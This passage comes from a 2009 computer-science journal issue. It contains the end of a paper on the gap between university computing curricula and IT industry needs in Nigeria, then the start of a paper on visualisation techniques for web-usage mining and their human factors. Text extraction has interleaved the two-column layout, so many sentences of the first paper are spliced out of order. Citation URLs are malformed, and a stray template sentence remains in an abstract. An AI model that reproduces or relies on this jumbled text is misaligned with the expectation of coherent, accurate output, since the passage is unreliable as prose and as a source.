Before the current global 4.3 CAUSES OF UNIVERSITY- INDUSTRY economic crisis, the jobs deficit was already GAP IN THE AREA OF INFORMATION huge and unwieldy. The situation has now TECHNOLOGY become even more critical. Apart from skill obsolescence that occurs over time, there are other factors A respondent in a current research carried out that cause these gaps. A major factor is commented upon lack of teaching staff and the changing pattern of working in administrative difficulties in updating the industries. The current trends in the world university programmes curriculum for IT of work such as globalization, education. commercialization, flexi-hour, deregulation, Lack of technical expertise, costly IT outsourcing, contract work, homework and equipments, costly maintenance and freelancing have led to marked changes in replacement of equipments, have been some of industry structure. New definition, new the major impediments. meaning, and new application of knowledge drive all these changes. New technological Another major problem has been the schools’ discoveries have given rise to new inability to keep abreast of fast changing industries and new structuring of work developments in industry and technology. itself. New forms of work structures which are flexible, adaptable, less hierarchical, It was established earlier that a gap exists and multi-skilled and which encourage between subjects taught and the methods used continuous learning are becoming sources to teach these subjects, and the academic of competitive advantage in industries. requirements at higher education institutions. International competition for jobs and 4.4 DIMENSIONS OF SKILL GAP workers has also intensified, leading to the From the foregoing analysis, it becomes global talent hunt for innovation-driven obvious that there will always be a gap between knowledge workers. IT skills and the university degree in Computing regardless of the operative In addition, global organizations are economic system. The extent and life span of finding themselves ill equipped to the gap depends on how fast universities adjust compete in the 21st Century because of lack of right skills in fresh graduates or update their curricular respond to structural that are employed in the labor market.. changes, and the magnitude, composition and time-lag in government intervention in the At a time when the global knowledge-based labor market. Gaps therefore exist in various economy places an ever-growing premium forms at the aggregate, sectoral and individual on the talent, creativity, and efficiency of levels. the workforce, business leaders talk of a Underlying this gap is inadequacy of the widening gap between the skill their educational curricula which is designed 41
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security,
Vol.in 4, No. 1 & 2,into 2009 subjects taught. IT Skills are reinforced, without apparent regards for relevance application of the industries. Aside from self-learning, lifelong learning, research skills, this, there is some lop-sidedness in time management skills, critical thinking skills curricula implementation. Frequent etc. These components have been seen to be discontinuity in the university program most effective when they are woven into the impact directly on the quality of skills university curriculum rather than tackling supplied. The short-term duration practical them as stand-alone subjects. exposure of students through the SIWES (Student Industrial Work Experience In bridging the gap and/or reforming Scheme) is generally ineffective. This is education, many countries have encountered because most higher institutions do not and addressed this issue by introducing a even have proper IT facilities. strong technological component to the university curriculum. This normally comes in 4.5 CONSEQUENCES OF THE GAP many different forms; prevalent among them is The persistent existence of skills gap in the offering students courses in IT, work attitude IT industries and universities has made and work ethic, followed by a subsequent dependence on importation of skilled placement in industrial and commercial firms, workers with its attendant cost inevitable where they get firsthand experience in real (Adetokunbo, 2009). work environment.
The gap also results in a waste of human resources and, therefore, unemployment. For example, banks in many parts of African countries usually purchase software which they use in banks for transactional purposes from China or United States of America. Also, big companies equally do same for smooth running of their day to day activities. This is sequel to lack of reliable IT personnel in many parts of the world to take over the challenge. Inappropriately skilled labor is deprived of participation in the production process. This category of unemployed persons raises the noise level of unemployment which in addition to its economic consequences also threatens social stability of the country.
Successful programs have been implemented in countries like Australia, Canada, United States, and Britain. The success of such programs in these countries is ensured by the existence of a huge industrial sector, which works in partnership with schools. Other countries have opted to establish training centers, which have workshops that give students real work experience. These training centers are normally set up, financed, and managed by the private sector and schools pay fees for their students to use these centers. A successful example of this kind of programs can be seen in the BOCES program in New York State, and the Chicago School-to-Work Program. • Information Technology: This program ensures that the student possesses adequate Knowledge of IT and has the skills required to comfortably use it in his job. Knowledge and skills of IT are two components that have been found to be essential to both groups of students; the one that joins the workforce and the one that opts for higher education.
4.6 BRIDGING THE SKILLS GAP What then can be done to bridge this gap? What kind of education is required in order to prepare our students for work in the industries? What changes need to be implemented in order to make university programmes suitable for a true preparation for work? What kind of program would ensure that students possess the skills necessary to enable them to occupy the jobs currently taken by expatriates?
Like every economic phenomenon, there are both supply and demand sides to issues relating to skills. A major source of supply of skills is the educational system which is defined by the totality of all formal educational institutions providing one form of skills development or the other ranging from the basic, technical colleges, to tertiary institutions comprising the various Universities, Polytechnics, Monotechnics and other specialized institutions providing highly specialized skills.
The answer to this question evidently lies in exposing the students to the high-level cognitive skills that are essential and required by industries. The following are some of the solutions that have been found to produce good results: •
Study IT Skills program: This is normally either presented as a stand-alone program or integrated
¾ The curricula or training manuals being implemented by these various institutions are developed either wholly by the 42
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security,
Vol.as 4, No. 1 & 2,in2009 relevant coordinating commissions such the educational curricula is also imperative. the National Universities Commission {NUC} Happily enough, some institutions have already in case of the Universities, the National started this. These subjects should be Board for Technical Education {NBTE} for included among the contents of the compulsory the Polytechnics, or in conjunction with general studies programme of all tertiary international agencies such as the ILO. institutions’ IT curricula. Suffice it to say that the major target of the educational system is to produce skills • Dialogue between the universities required by the public and the organized and employers of labor; private sector. An outline for a framework for fostering the partnership for interaction between university • Government and the organized and employer, while some areas of positive private sector should also put in place interaction between university and employers arrangements for professional students of exist in the forms of training programs, and tertiary institutions to undergo short-term joint services geared at bridging the skill gaps, practical training in their chosen vocations what is needed, however is a framework that through a Student Industrial Work addresses the chronic skilled shortages in the Experience Scheme [SIWES] in labor market. This no doubt will entail an Information Technology to enhance their integrated strategy. knowledge in the field. . There is an emerging group of skills 4.7 EMPLOYERS’ PERSPECTIVE Employeruniversity interaction is currently characterized developers in Information and by problem of skills mismatch between what Communication Technology who can be employer want and what university can placed between institutional and private provide. So the Universities must design a developers. The emergence of this group is proper programme for the proper identification in response to developments in the ICT of employers’ skills requirements. For a resultindustry. Government should make oriented dialogue therefore, and on the part of promotional efforts towards regulating employers, they should do the following in operations in the IT sector to avoid possible order to attain maximum benefits that will be lop-sidedness and unhealthy practices that accrued in bridging the current gap between could mar the sector. the university curriculum of computer science and IT skill requirements in the industry:• Appropriate educational curricula . This must be designed and implemented by Educational Reform/Curriculum: our institutions of learning especially the Educational reform is the most important area technical colleges, polytechnics, in which university can aid in bridging this monotechnics, universities and other gap. The rapidly changing needs of employers specialized training institutions. The and the labor market affect curriculum. curricula which must be relevant to the Adjusting the curriculum to rapidly changing peculiarities of our situation must address needs of employers and the labor market is most importantly the current industrial therefore very imperative. In framing an demands with the intention of making our innovative curricular relevant to employers’ university graduates of Computer Science need for IT, universities must factor in the relevant in the IT industry. dynamics of modern trends, including ICT, globalization and technological changes. • There is need to actively collaborate Technology not only has given rise to vast new and involve employers of labor in industries, but the restructuring of work itself. developing appropriate IT skills to avoid the New forms of work structures which are situation whereby people trained in certain flexible, adaptable, less hierarchical, multifield cannot utilize them while skills needed skilled, and continuous learning are becoming by employers are non available or grossly one of the major sources of competitive inadequate leading either to importation of advantage of enterprises in IT industries. foreign skills or outright incapacitation of the production process. Employers should ICT literacy: Literacy in ICT must become an be involved in all forms and levels of skills imperative of the educational process and development ranging from curricula design integrated into the curriculum at all levels of and implementation, product / service studies to match the challenges and research and development, funding, etc. opportunities before us. Our objective is to The need to institutionalize empower every citizen with the IT skills they Entrepreneurship Development need for life-long learning, both in the Programme {EDP} and vocational training workplace and in private life. Our citizens 43
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security,
Vol. 4, No. 1 & 2, 2009 must have the technical skills, confidence, organization or business and flexibility they need to adapt over the (http/www./scientist/223113A.htm). course of their lifetimes. The question now is, are these categories of Industry’s needs: The drivers for adoption professionals in Computing being trained to of a productive dialogue with acquire the above skills? The answer is no, this university/working partnership with can be clearly established base on the analysis industry on skill development in relation to done above. the curriculum include knowing the industry’s skills requirements. What skills These are highly required to be taught in the make graduate more employable? (These university but reverse is the case. may include, for example, in Computer Science, a programmer is expected to be a Employability of graduates: In order to mastery of the following programming overcome persistent mismatches between languages: Java, C++, C, DHTML, Oracle graduate qualifications and the needs of the 10g, ASP and CGI as well as C# for him to labor market, university programmes should be be relevant and employable in the labour structured to enhance directly the market. employability of graduates and to offer broad support to the workforce more generally. ICT Also, the following categories of Skills are portable if the skills acquired are transferable and can be used productively in professionals are expected to be able to different jobs, enterprises, both in the informal perform the following functions: and formal economy. Emphasis should be placed on entrepreneurship development to 1. A trained Software Engineer is make our graduates well equipped for self expected to know how to create, employment, innovation and creativeness. maintain and modify computer and software programs such as 5.0 CHALLENGES TO UNIVERSITIES operating systems, communications The implication of many of the processes of software, utility programs, compilers globalization, knowledge redefinition, graduate and database handlers. They may employability etc, is yet to be addressed by also be able to evaluate new most universities. The scale of the challenge programming tools and techniques should however not be underestimated. Indeed, and analyze current software becoming a market-responsive organization products requires a major change in university culture. (http/www./scientist/223113A.htm). It implies a strong sense of institutional 2. Computer engineers are involved in purpose and redirection through re designing the installation, repair and servicing the university academic curriculum the of computers and associated Computer Science graduate relevant in their equipment, or peripherals. They chosen field. may sometimes be described as information technology (IT) Governance, Management and Leadership. hardware technicians, service Universities have historically been run as engineers or computer systems community of scholars. Governance and engineers management structures were collegial and (http/www./scientist/223113A.htm). committee-based, the Senate and the council 3. A hardware design engineer plans, were representative, and therefore, large. designs, constructs and maintains Decision making, was as a result slow and the hardware equipment of naturally conservative. The emergence of a computers. They may also monitor competitive mass market and global higher the development of hardware education market is bringing this model of according to design, and carry out governance and management into question. If repairs and testing of computer we are to have a catalytic relationship between equipment and peripherals university and the global and dynamic world of (http/www./scientist/223113A.htm). the industries it is vital for the universities to 4. A network/systems engineer designs, transform also into more dynamic institutions. installs, analyses and implements In short, improved dialogue between computer systems/networks. They universities and industries will not be readily may also make sure that the achieved by top down mechanisms at either the existing network is effective, and institutional or regional level. There is thus the work out how it should evolve to need for a flexible, responsive and agile meet new requirements of the 44
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security,
organization able to strike partnership with others.
a
Vol. 4, No. 1 & 2, 2009 working
5.1 BENEFITS TO THE UNIVERSITIES The US experience at developing the ‘knowledge workers’ is a good example to demonstrate that universities do play a vital role in driving growth in the modern economy. If this paper is fully read and digested, the universities should get sufficient information on the skills needs of the industries to convince them of the urgency in curriculum refurbishing. Still, there are clear benefits that will accrue to them from this paper. (1) They will have enhanced role to participate in industrial economic development. (2) They will have earmarked funding for specific projects and research efforts from more industries. (3) They will have flexible plans to access research funding through collaboration with industries. (4) They will have access through enlarged programmes to real world challenges in the workplace; and have the satisfaction of contributing to market place success and growth ideas. (5) They will have access to modern and sophisticated equipment and facilities in research centers funded by industries jointly or otherwise. (6) The need will create worthwhile incentives to help recruit, reward and retain research and faculty members and most importantly to train employable graduate.
(3)
(4)
(5)
The foregoing in summary, underscores the need to build partnerships between universities and industries in Information Technology and research-intensive sectors. Many multinationals have established alliances with academic institutions on specific initiatives covering faculty upgrading, consultancy, internships, curriculum revision workshops, research incubation, etc. aggregating the architects of the new global development in educational sector. Bridging the gap: Student efforts. ¾ In summary, students should find a good training company where they should not spend more money and time but can learn more professionally to augment their degree certificates. ¾
(2)
Fresh graduates must think and plan about their career whether to become a Programmer, Business Analyst, Project Manager, Architect or preparing the career in Sales & Marketing before graduation.
They must think about the career path – how to achieve their career goal within a certain number of years
5.2 BENEFITS TO BUSINESS AND INDUSTRIES Some specific benefits of this paper also lead to acquiring the industrial and the business world advantages. These include the following: (1)
that will keep the industries abreast of innovations and discoveries. The availability of the latest research and technological inventions in the Nigerian market place would be guaranteed. Nigerian industrialists and academicians will rub shoulders with their international counterparts in intellectual networking. The need for constant upgrading of professional knowledge becomes imperative for lecturers, staff and management alike.
6.0 RECOMMENDATIONS AND CONCLUSION Whatever the format of education that will be agreed upon, the present researcher believes that there are some important parameters that need to be established. These parameters call for a paradigm shift from “Instruction” to “Learning” and from the “Sellers’ market” to the “buyers’ market” (UNESCO, 2001). This shift also calls for a solid and sustained collaboration between education and the community. New partnerships would therefore need to be established, nurtured, and
There will be a steady and constant supply of graduate and post-graduate talents, skilled in the needed areas for employment. A pool of scientists and researchers will be available to undertake regular projects 45
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security,
Vol. 4, No. 1 & 2, 2009 maintained. For effective implementation, effective participation in a very we need to ensure the following:competitive global society of IT. • All universities should liaise with • Implement faculty improvement the relevant industries to receive programs to upgrade their caliber and industrial knowledge to augment the learn new technologies based on classroom lectures. suggestions of leading software industrialists. • University lecturers should be motivated towards attending local • Focus on industrial driven needs that and international workshops on the will enhance the chance of university latest IT innovations with the graduates rather than laying emphasis intension of transferring same much on the basis; that is, the knowledge to their students. underlying principle of computing. • University should encourage • The gap between Industrial based students towards registration for applications and university curriculum certifications in IT. can also be bridged if the curriculum can be structured in ways that will • To consider university education as concur with the industrial applications a “preparation for life” and therefore should cover a wider spectrum of courses that will be relevant in • Also, this can be achieved if computer industry. science courses related to application development such as programming can • The existing gap can also be be taken by professionals in such field corrected by reviewing the whole of that are currently working in industry. the university curriculum (Information Technology), and by This will require adjustments to the curriculum preparing lecturers/instructors in and format of universities education. It will also line with the new curriculum require universities to be more open to because implementation is another constructive engagement with employers of challenge when it comes to labor itself, as well as encouraging them to curriculum review. share their hands on experience with, and inspire university students while they are still • Retraining of the existing teaching in school. staff and administrators and On the hand, universities need significant redefining/restructuring teacher funding improvements for research, learning preparation programs in keeping and related intellectual activities, intellectual with the new requirements in IT. freedom, the scope to think and interact with • IT education is the minimum academics in many locations and requirement for survival in today’s circumstances, articulate and operate semisociety and should therefore be open autonomously such that those who provide the for universal access. funding should not therefore believe that all • Information Technology (IT) should things related to their funding must be done be integrated in all the subjects of their way at all time. the curriculum at primary, secondary and tertiary levels. From the foregoing, it is obvious that bridging • The colleges of education and the the skill gaps is not merely improving students’ University will have to change the competence in core fields of IT. Education with way they prepare teachers in relevant syllabuses and training in specific keeping with the new requirements. areas play crucial roles in achieving rapid Both in-service and pre-service changes in updating technical and engineering programs have to be developed to skills especially in making relevant the degree serve this purpose. in computing and IT skill demand in our • The preparation of teachers has to industries. start as soon as possible as this is a long term process. • Also, we have to properly fund our universities, quantitatively or qualitatively so that our citizenry, including our labor force, may be sufficiently empowered with appropriate knowledge of 21st century skills and attitude for
46
ISSN 1947 5500
REFERENCES [1]
[2]
[3]
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009 ASSOCIATION OF VICE CHANCELLORS
OF NIGERIAN UNIVERSITIES UNIVERSITY OF ILORIN, ILORIN, NIGERIA 2ND JUNE 2009.
Avison, D., “The ‘Discipline’ of Information Systems: Teaching, Research, and Practice”, in Mingers, J. and F. Stowell (eds.) Information Systems: An Emerging Discipline? Maidenhead: McGraw-Hill, 1997, pp. 113-136. Clayton W. Barrows, John Walsh “Bridging the gap” between hospitality management programmes and the private club industry. International Journal of Contemporary Hospitality Management Year: 2002 Volume: 14 Issue: 3 Page: 120 – 127 ISSN: 09596119DOI:
Gonzales, Lazaro.(1996) Competencies in two sectors in which information technology (IT) asserts a strong influence: Telecommunications and Administration/offices. Thessaloniki, Greece: CEDOFOP. November
[5]
Ivan T. Mosley “Computer Management Information Systems and Computer Production Skills Needed by Industrial Technology Graduates as Perceived by Universities and Companies” A book Published in 2006. ISBN 234-4
[6]
Fawad Mahmood and Muhammad Aamir, “Future information and Communication Networks” : Major Trend and Projections for developing countries,” Int’l Workshop on the Frontiers of Information Technology, Islamabad–Pakistan, December 2324, 2003.
[7]
Adetokunbo Kayode “Bridging the skills gap in Nigeria: Framework for dialogue between universities and employers of labor” Presented at the CONFERENCE OF THE 24TH
. Ivan T. Mosley “Computer Management Information Systems and Computer Production Skills Needed by Industrial Technology Graduates as Perceived by Universities and Companies”. Seminar paper presented at University of PortHarcourt, Nigeria.
[9]
www.edu.ng
[10]
www.unilorin.ng
[11]
http://ieeexplore.ieee.org, IEEE Digital Library Kolade Olayiwola “Overview of the New undergraduate computer science curriculum, Associate Chair for Educatio”. A book published in 2008.
[12]
Jaylon Clayton and Monrosh K. F Cooperative Training Initiative: An Assessment of Reciprocal Relationships between Universities and Industry in Providing Professional Development. A Book published in 2005, ISBN 3459.
[4]
[8]
[13] [14]
47
www.csta.acm.org
http://educationmalaysia.blogspot.com /2006/07/70-public-universitygraduates-jobless.html
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Visualization of Mined Pattern and Its Human Aspects Ratnesh Kumar Jain, Dr. R. S. Kasana
Dr. Suresh Jain
Department of Computer Science and Applications Dr. H. S. Gour Central University Sagar, MP, India.
[email protected], irkasana7158.gmail.com
Department of Computer Engineering, Institute of Engineering & Technology, Devi Ahilya University, Indore, MP (India)
[email protected]
Abstract—Researchers got success in mining the Web usage data effectively and efficiently. But representation of the mined patterns is often not in a form suitable for direct human consumption. Hence mechanisms and tools that can represent mined patterns in easily understandable format are utilized. Different techniques are used for pattern analysis, one of them is visualization. Visualization can provide valuable assistance for data analysis and decision making tasks. In the data visualization process, technical representations of web pages are replaced by user attractive text interpretations. Experiments with the real world problems showed that the visualization can significantly increase the quality and usefulness of web log mining results. However, how decision makers perceive and interact with a visual representation can strongly influence their understanding of the data as well as the usefulness of the visual presentation. Human factors therefore contribute significantly to the visualization process and should play an important role in the design and evaluation of visualization tools. This electronic document is a “live” template. The various components of your paper [title, text, heads, etc.] are already defined on the style sheet, as illustrated by the portions given in this document. Keywords-Web log mining, Visualization, Human Aspects..
I.
Knowledge
Reality
Comp. Rep. of reality
Picture (s)
User(s)
Figure 1. Visualization Process
Visualization of the web usage data is a technique in which mined data are represented graphically. In this process, technical representations of web pages are replaced by user attractive text interpretations. A.
VISUALIZATION TECHNIQUES There are a large number of visualization techniques which can be used for visualizing the data. In addition to standard 2D/3D-techniques, such as x-y (x-y-z) plots, bar charts, line graphs, etc., there are a number of more sophisticated visualization techniques (see fig. 2). The classes correspond to basic visualization principles which may be combined in order to implement a specific visualization system.
representation,
INTRODUCTION
The dictionary meaning of visualize is "to form a mental vision, image, or picture of (something not visible or present to sight, or of an abstraction); to make visible to the mind or imagination" [The Oxford English Dictionary, 1989]. The discovery of Web usage patterns would not be very useful unless there are mechanisms and tools to help an analyst better understand them. Visualization has been used very successfully in helping people understand various kinds of phenomena both real and abstract. Hence it is a natural choice for understanding the behavior of Web users. “The essence of Information Visualization is referred to the creation of an internal model or image in the mind of a user. Hence, information visualization is an activity that humankind is engaged in all the time”. [1]
Figure 2. Classification of Visualization technique
48
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
techniques help in the data exploration process by providing means for focusing on details while preserving an overview of the data. The basic idea of distortion techniques is to show portions of the data with a high level of detail, while others are shown with a lower level of detail.
1) Geometrically Transformed Displays Geometrically transformed display techniques aim at finding “interesting” transformations of multidimensional data sets. The class of geometric display techniques includes techniques from exploratory statistics, such as scatter plot matrices and techniques which can be subsumed under the term “projection pursuit”. Other geometric projection techniques include Projection Views, Hyperslice, and the well-known Parallel Coordinates visualization technique.
Figure 5. Dimensional Staking display (Courtesy IEEE)
1) Dynamic Projections The basic idea of dynamic projections is to dynamically change the projections in order to explore a multidimensional data set. A classic example is the GrandTour system [24], which tries to show all interesting two-dimensional projections of a multidimensional data set as a series of scatter plots. 2) Interactive Filtering In exploring large data sets, it is important to interactively partition the data set into segments and focus on interesting subsets. This can be done by a direct selection of the desired subset (browsing) or by a specification of properties of the desired subset (querying). Browsing is very difficult for very large data sets and querying often does not produce the desired results. Therefore, a number of interaction techniques have been developed to improve interactive filtering in data exploration. Examples are Magic Lenses [26], InfoCrystal [27] etc. 3) Interactive Zooming In dealing with large amounts of data, it is important to present the data in a highly compressed form to provide an overview of the data, but, at the same time, allow a variable display of the data on different resolutions. Zooming not only means to display the data objects larger, but also means that the data representation automatically changes to present more details on higher zoom levels. The objects may, for example, be represented as single pixels on a low zoom level, as icons on an intermediate zoom level, and as labeled objects on a high resolution. Examples are: TableLens approach [28], PAD++ [29] etc. 4) Interactive Distortion Interactive distortion techniques support the data exploration process by preserving an overview of the data during drilldown operations. The basic idea is to show portions of the data with a high level of detail while others are shown with a lower level of detail. Popular distortion techniques are hyperbolic and spherical distortions, which are often used on hierarchies or graphs, but may be also applied to any other visualization technique. An example of spherical distortions is provided in the Scalable Framework paper (see Fig. 5 in [23]). Other
. Figure 3. Parallel Coordinate Visualization
Figure 4. Dense pixel displays (Courtesy IEEE)
2) Iconic Displays Another class of visual data exploration techniques is the iconic display techniques. The idea is to map the attribute values of a multidimensional data item to the features of an icon. 3) Dense Pixel Displays The basic idea of dense pixel techniques is to map each dimension value to a colored pixel and group the pixels belonging to each dimension into adjacent areas. See figure 4. 4) Stacked Displays Stacked display techniques are tailored to present data partitioned in a hierarchical fashion. In the case of multidimensional data, the data dimensions to be used for partitioning the data and building the hierarchy have to be selected appropriately. See figure 5. B. INTERACTION AND DISTORTION TECHNIQUES In addition to the visualization technique, for an effective data exploration, it is necessary to use some interaction and distortion techniques. Interaction techniques allow the data analyst to directly interact with the visualizations and dynamically change the visualizations according to the exploration objectives and they also make it possible to relate and combine multiple independent visualizations. Distortion
49
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
examples are Bifocal Displays [30], Graphical Fisheye Views [31] etc.
analytics approach. Many researchers have started their work in this direction. An example is the IBM Remail project [20] which tries to enhance human capabilities to cope with email overload. Concepts such as “Thread Arcs”, “Correspondents Map”, and “Message Map” support the user in efficiently analyzing his personal email communication. MIT’s project Oxygen [19] even goes one step further, by addressing the challenges of new systems to be pervasive, embedded, nomadic, adaptable, powerful, intentional and eternal. Users are an integral part of the visualization process, especially when the visualization tool is interactive. Rheingans suggests that interaction should not be simply a “means to the end of finding a good representation” [21]. Interaction itself can be valuable since exploration may reveal insight that a set of fixed images cannot. Human factors-based design involves designing artifacts to be usable and useful for the people who are intended to benefit from them. Unfortunately, this principle is sometimes neglected in visualization systems.
5) Interactive Linking and Brushing The idea of linking and brushing is to combine different visualization methods to overcome the shortcomings of single techniques. It can be applied to visualizations generated by all visualization techniques described above. As a result, the brushed points are highlighted in all visualizations, making it possible to detect dependencies and correlations. Interactive changes made in visualization are automatically reflected in the other visualization. Typical examples of visualization techniques which are combined by linking and brushing are multiple scatterplots, bar charts, parallel coordinates, pixel displays, and maps. Most interactive data exploration systems allow some form of linking and brushing. Examples are Polaris [22], XGobi [25] and DataDesk [32]. Experiments with the real world problems showed that the visualization can significantly increase the quality and usefulness of web log mining results. However, how decision makers perceive and interact with a visual representation can strongly influence their understanding of the data as well as the usefulness of the visual presentation. In section III we try to explore the human aspects in visualization. In section IV we discuss some research examples. II.
III.
HUMAN FACTORS
How people perceive and interact with a visualization tool can strongly influence their understanding of the data as well as the system’s usefulness. Human factors (e.g. interaction, cognition, perception, collaboration, presentation, and dissemination) play a key role in the communication between human and computer therefore contribute significantly to the visualization process and should play an important role in the design and evaluation of visualization tools. Several research initiatives have begun to explore human factors in visualization.
RELATED WORK
Most common technique of visualization is Graph drawing and it has been subject of research since decades [5, 9]. Graphs are a natural means to model the structure of the web, as the pages are represented by nodes and the links represented by edges. Many graph algorithms are used, in original or adapted form, to calculate and express properties of web sites and individual pages [4, 7, 8]. Although to a lesser extent, graph theoretic methods have also been applied to the user navigation paths through web sites [10]. WebQuilt is a logging and visualization system [11] which is interactive in the sense that it provides semantic zooming and filtering, given a storyboard. Webviz [2], VISVIP [3], VisualInsights [12] are some other visualization tools. So many commercial visualization tools for representing association rules have also been developed. Some of them are MineSet [14] and QUEST [13]. Becker [15, 16] describes a series of elegant visualization techniques designed to support data mining of business databases. Westphal et al. [17] give an excellent introduction of visualization techniques provided by current data mining tools. Cockburn and McKenzie [6] mention various issues related to graphical representations of web browsers’ revisitation tools. How a viewer perceives an item in a visualization display depends on many factors, including lighting conditions, visual acuity, surrounding items, color scales, culture, and previous experience [18]. There are so many technical challenges in developing a good visualization tool one of the big challenges is User acceptability. Much novel visualization techniques have been presented, yet their widespread deployment has not taken place, because of user acceptability due to lack of visual
A. Testing of Human Factors There are so many Human Computer Interaction interfaces available. Each interface is tested for its functionality (usability study) and ease of interaction (user studies). 1) Ease of interaction To test ease of interaction we consider only real users and obtain both qualitative and quantitative data. Quantitative data typically measures task performance e.g. time to complete a specific task or accuracy e.g. number of mistakes. User ratings on questions such as task difficulty or preference also provide quantitative data. Qualitative data may be obtained through questionnaires, interviews, or observation of subjects using the system. Walenstein [45] describes several challenges with formal user studies. According to him the main problem in the user studies is that we studies so many users but the true facts about the ease and benefits can be told only by the experts who can be difficult to find or may not have time to participate in lengthy studies. Another problem is that missing or inappropriate features in the test tool or problems in the interface can easily dominate the results and hide benefits of the ideas we really want to test. Thus, it seems that user studies can only be useful with an extremely polished tool so that huge amounts of time must be invested to test simple ideas that may not turn out to be useful. One solution to this problem is to have user studies focus on design ideas rather
50
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
than complete visualization tools and to test specific hypotheses [45]. Our test should attempt to validate 1) whether the idea is effective and 2) why it is or is not effective. Of course, this may not be as easy as it sounds. 2) Usability Study Additional evaluation methods established in Human Computer Interaction include cognitive walk-throughs (where an expert “walks through” a specific task using a prototype system, thinking carefully about potential problems that could occur at each step) and heuristic evaluations (where an expert evaluates an interface with respect to several predefined heuristics) [42]. Similarly, Blackwell et al. describe cognitive dimensions, a set of heuristics for evaluating cognitive aspects of a system [34], and Baldonado et al. designed a set of heuristics specific to multiple view visualizations [33]. These usability inspection methods avoid many of the problems with user studies and may be beneficial for evaluating visualizations. However, because these techniques are (for the most part) designed for user interface testing, it is not clear how well they will evaluate visualization ideas. For example, many visualization tasks are ill-defined. Walking through a complex cognitive task is very different from walking through a well-defined interface manipulation task. Furthermore, by leaving end users out of the evaluation process, usability inspection methods limit our ability to find unexpected errors.
IV.
RESEARCH EXAMPLES
Adoption of human factors methodology and stringent evaluation techniques by the visualization community is in its infancy. A number of research groups have begun to consider these ideas and incorporate them into the design process to greater or lesser extents. This section will summarize these human factors contributions. A. Improving Perception in Visualization Systems Several papers have looked at how our knowledge of perception can be used to improve visualization designs. For example, depth of focus is the range of distances in which objects appear sharp for a particular position of the eye’s lens. Objects outside this range will appear blurry. Focusing effects can be used to highlight information by blurring everything except the highlighted objects [40]. For example, in computer games like road race the objects that are to be shown far are blurred giving the impact that object are far away and as the bike moves forward the blurring effect is reduced gradually giving impact of bike reaching near to the objects. Similarly in GIS application, all routes between two cities except for the shortest one could be blurred to highlight the best route. Here, the goal of blurring is to highlight information, not to focus on objects in the center of a user’s field of view. Hence, the blurred objects are not necessarily at similar depths, a difference from traditional “depth of focus” effects. Figure 7 and 8, showing how perception can be improved by blurring.
Figure 6. Visualization Design cycle
B. User-Centered Design User-centered design is an iterative process involving task analysis, design, prototype implementation, and testing, as illustrated in Fig. 6. Users are involved as much as possible at each design phase. Development may start at any position in the cycle, but would typically start with an analysis of the tasks the system should perform or testing of an existing system to determine its faults and limitations. User-centered design is more a philosophy than a specific method. Although it is generally accepted in human computer interaction, we believe this approach is not currently well-known in visualization and could support better visualization design. Various aspects of human factors-based design have been incorporated into visualization research and development. We provide examples of these contributions throughout the next section.
Figure 7.
Improving perception by blurring long distance objects
Figure 8. Improving perception by blurring
51
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
C. Perceptual Models for Computer Graphics Various mathematical models of visual perception are available today. Typical models approximate contrast sensitivity, amplitude nonlinearity (sensitivity changes with varying light level), and masking effects of human vision. Two examples are the Daly Visual Differences Predictor [35] and the Sarnoff Visual Discrimination Model [41]. Variations on these models have been used for realistic image synthesis. Improving realism is not too much important in visualization because emphasis is not on representing the real world image but on representing data for the analysis purpose. Applications more relevant to visualization include increasing rendering speed (to enable interactive data exploration) and reducing image artifacts (to enhance perception and prevent incorrect interpretations of data). Reddy removed imperceptible details to reduce scene complexity and improve rendering speed [43].
Figure 9. Perceptual Model
D. Transfer Functions In direct volume rendering, each voxel (sample in a 3D volume grid) is first classified as belonging to a particular category based on its intensity and/or spatial gradient value(s). Voxels are then assigned a color and transparency level based on this classification. The function that does this is called a transfer function. One example in Computed Tomography (CT) data would be to make skin semitransparent and bones opaque so the bones could be seen beneath the skin. In this case, transfer function design is quite easy since bones and skin have very different intensity values in CT data and can be easily distinguished. However, in general, finding good transfer functions is difficult and is therefore a major research area in volume visualization.
Figure 10. Fisheye distortion
B. Interaction Metaphors Interacting with 3D visualizations can be challenging because mapping movements of a 2D mouse to actions in 3D space is not straightforward. Research has shown that manipulating objects relative to each other is easier than using absolute coordinates [37]. In addition, interaction may be easier when the interface is directly related to the task through task-specific props. Examples of task-specific props for visualization are: a physical model head and clip plane that aid interaction with volumetric brain data [38] and the “Cubic Mouse,” a 3D input device for volume data that allows users to navigate along major axes by moving three perpendicular rods in a physical box [36]. Development of task-specific input devices for other visualization applications (e.g., flow visualization) could make interaction easier and thereby enhance data analysis. In addition to the interactive hardware some interactive programming/presentation effort should be done for such a task like manipulating windows and widgets, navigating around interfaces and managing data, these tasks are called maneuvering. For example, an analyst examining user
E. Detail and Context Displays (Distortion) Resolution of the computer monitor is limited. Only a limited number of graphic items can be displayed at one time. Displaying more items often means displaying less detail about each item. If all items are displayed, few details can be read, but if only a few items are shown, we can lose track of their global location. Interactive distortion techniques support the data exploration process by preserving an overview of the data during drill-down operations. The basic idea is to show portions of the data with a high level of detail while others are shown with a lower level of detail. F. User and Computer Cooperation Computers can easily store and display data, but humans are better at interpreting data and making decisions. Although this idea is very useful, it is possible for computers to play a more active role in the visualization process than simply presenting data and providing an interface for data manipulation. As viewers look at images, they compare the image with their existing mental model of the data and presentation method and adjust either their mental model or their understanding of the image if the two conflict. For complex data, constructing a mental model requires interaction and time since all the data cannot be seen in a single view. Allowing users to write down and manipulate their mental models, ideas, and insight (e.g., as mind maps)
